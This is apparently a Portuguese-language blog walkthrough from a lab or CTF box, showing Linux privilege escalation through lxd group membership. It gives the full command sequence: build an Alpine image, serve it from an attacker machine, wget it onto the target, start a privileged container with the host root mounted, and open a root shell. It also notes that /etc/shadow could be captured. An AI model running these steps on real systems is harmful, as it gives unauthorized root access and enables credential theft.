Privilege Escalation by LXD/LXC

Posted on Thu, Aug 6, 2020 privEsc

Too Long To Read - TL; TR;

Se o usuário for do grupo lxd é possível instanciar um container com um linux e montar a raiz do host nele, tendo assim permissão total a todos os arquivos.

NO KALI ATACANTE - Montar a Imagem 
(Caso a máquina atacada não tenha acesso a Internet)

$ https://github.com/diegoalbuquerque/lxd-alpine-builder
$ cd lxd-alpine-builder
$ ./build-alpine
$ python3 -c http.server 80

NA VM ATACADA

$ cd /tmp
$ wget http://192.168.1.5/alpine-v3.12-x86_64-20200806_1741.tar.gz
$ /snap/bin/lxc image import /tmp/alpine-v3.12-x86_64-20200806_1741.tar.gz --alias myimage

# Caso o LXD não possua Storage Pool
$ lxd init
# ou Criar um Pool do tipo dir 
$ /snap/bin/lxc storage create pool dir

#  myimage = nome da imagem que importamos
#  mycontainer = nome do container que estamos inicializando 
$ lxc init myimage mycontainer -c security.privileged=true

#  adicionando um device disk ao container
#  source = / (O conteudo do disco será a raiz da vm!)
#  path   = /mnt/host (Onde o disco será montado)
$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/host recursive=true

# Inicializando o container
$ lxc start mycontainer

# Executando no container o comando /bin/sh
$ lxc exec mycontainer /bin/sh

diegoalbuquerque/lxd-alpine-builder

Build Alpine Linux images for LXD. Contribute to diegoalbuquerque/lxd-alpine-builder development by creating an account on GitHub.

Começando do Começo

Existe uma forma de escalar privilégio quando o usuário no qual você está logado pertence ao grupo lxd

Isso permite o usuário escalar o privilégio através do deamon LXD , rodando no linux, sem a necessidade inclusive de saber a senha do usuário, o que é útil em nosso caso onde logamos na máquina com a chave privada do usuário e não sabemos a sua senha.

O que é LXD/LXC ?

lxc/lxd

LXD is a next generation system container and virtual machine manager. It offers a unified user experience around full Linux systems running inside containers or virtual machines. It's image based with pre-made images available for a wide number of Linux distributions and is built around a very powerful, yet pretty simple, REST API.

O LXD é um deamon gerenciador de containers, como o docker, baseado em imagens. Para controle dos containers e das imagens é utilizado o binário LXC.

Como funciona o ataque ?!

Como o usuário,oscp, pertence ao grupo lxd isso indica que ele pode instanciar containers onde ele mesmo é root. Para a exploração então vamos instanciar um container contendo um Alpine Linux e montando nele todo a raiz do host local. Uma vez montado dentro do Alpine linux poderemos acessar todos os arquivos do host local através do ponto de montagem.

Atacando

Observe que lxd está inicializado

Observe que, como o lxd não está no path do usuário, foi necessário procurá-lo, ficanto então o s binários lxd e lxc dentro do diretário /snap/bin/

O Linux Container trabalha com imagens que servirão de base para instanciar o container em si, logo precisaremos de uma imagem.

É possível baixar uma imagem diretamente dos repositórios públicos pré-configurados com o lxd, mas esta máquina não possui conexão com a Internet, logo precisaremos disponibilizar a imagem manualmente para a máquina.

Comandos para buscar imagens

Para montar uma imagem, sem a necessidade de ter uma máquina com o lxd instalado, utilizaremos o script build-alpine clonado do repositório:

diegoalbuquerque/lxd-alpine-builder

This script provides a way to create Alpine Linux images for their use with LXD. It's based off the LXC templates. The image will be built just by installing the alpine-base meta-package. Networking and syslog are enabled by default.

Este é um fork do saghul/lxd-alpine-builder

Em seu kali local (iremos depois subir a imagem para a vm), executar :

$ https://github.com/diegoalbuquerque/lxd-alpine-builder
$ cd lxd-alpine-builder
$ ./build-alpine

Atenção! Aparentemente alguns "mirrors" estão com problema levando o script a falhar, não terminando conforme esperado:

Erro ao acessar o mirror.csclub.unwaterloo.ca

Executando o script algumas vezes ele termina o processo quando o repositório está ok.

Script executado com sucesso ao acessar o mirror mirror.clarkson.edu

Ao final teremos a imagem salva no formato .tar.gz —> alpine-v3.12-x86_64-20200806_1741.tar.gz

Agora de posse da imagem vamos subir um sevidor web para disponibilizá-la para nossa VM a ser atacada.

Agora na VM , vamos importar a imagem com o comando lxc.

Caso você possua um servidor web https em seu kali (queira levantar o apache, etc.), é possível importar diretamente com o comando lxc image import , mas o comando não aceita http, logo temos que copiar o arquivo para a VM para poder importar diretamente do filesystem

$ cd /tmp
$ wget http://192.168.1.5/alpine-v3.12-x86_64-20200806_1741.tar.gz
$ /snap/bin/lxc image import /tmp/alpine-v3.12-x86_64-20200806_1741.tar.gz --alias myimage

Observe que o comando não aceita caminho relativo para a imagem

Imagem devidamente importada

Vamos agora configurar e instanciar um novo container montando como "disco externo" a nossa raiz em um diretório /tmp/host .

Ao tentar inicializar o container o lxd nos informar que falta o storage pool. Isso pode ser um sinal de que o LXD não foi inicializado. Vamos inicializa-lo apontando como storage pool a opção dir, de diretório , já que não queremos usar uma partição específica para armazenamento.

Observe que na inicialização o único parâmetro alterado foi o Name of Storage Backend. Todos os outros foram deixados com a configuração default. Estamos atacando e não configurando um servidor, certo! ;D

#  myimage = nome da imagem que importamos
#  mycontainer = nome do container que estamos inicializando 
$ lxc init myimage mycontainer -c security.privileged=true

#  adicionando um device disk ao container
#  source = / (O conteudo do disco será a raiz da vm!)
#  path   = /mnt/host (Onde o disco será montado)
$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/host recursive=true

# Inicializando o container
$ lxc start mycontainer

# Executando no container o comando /bin/sh
$ lxc exec mycontainer /bin/sh

Uma vez agora com o shell do container , vamos acessar o diretório que mapeou a nossa raiz e obter a flag.

Missão cumprida. Como somos root e temos acesso a toda a raíz do host, podemos, se fosse o caso, efetuar outras alterações no sistema, capturar o shadow, etc.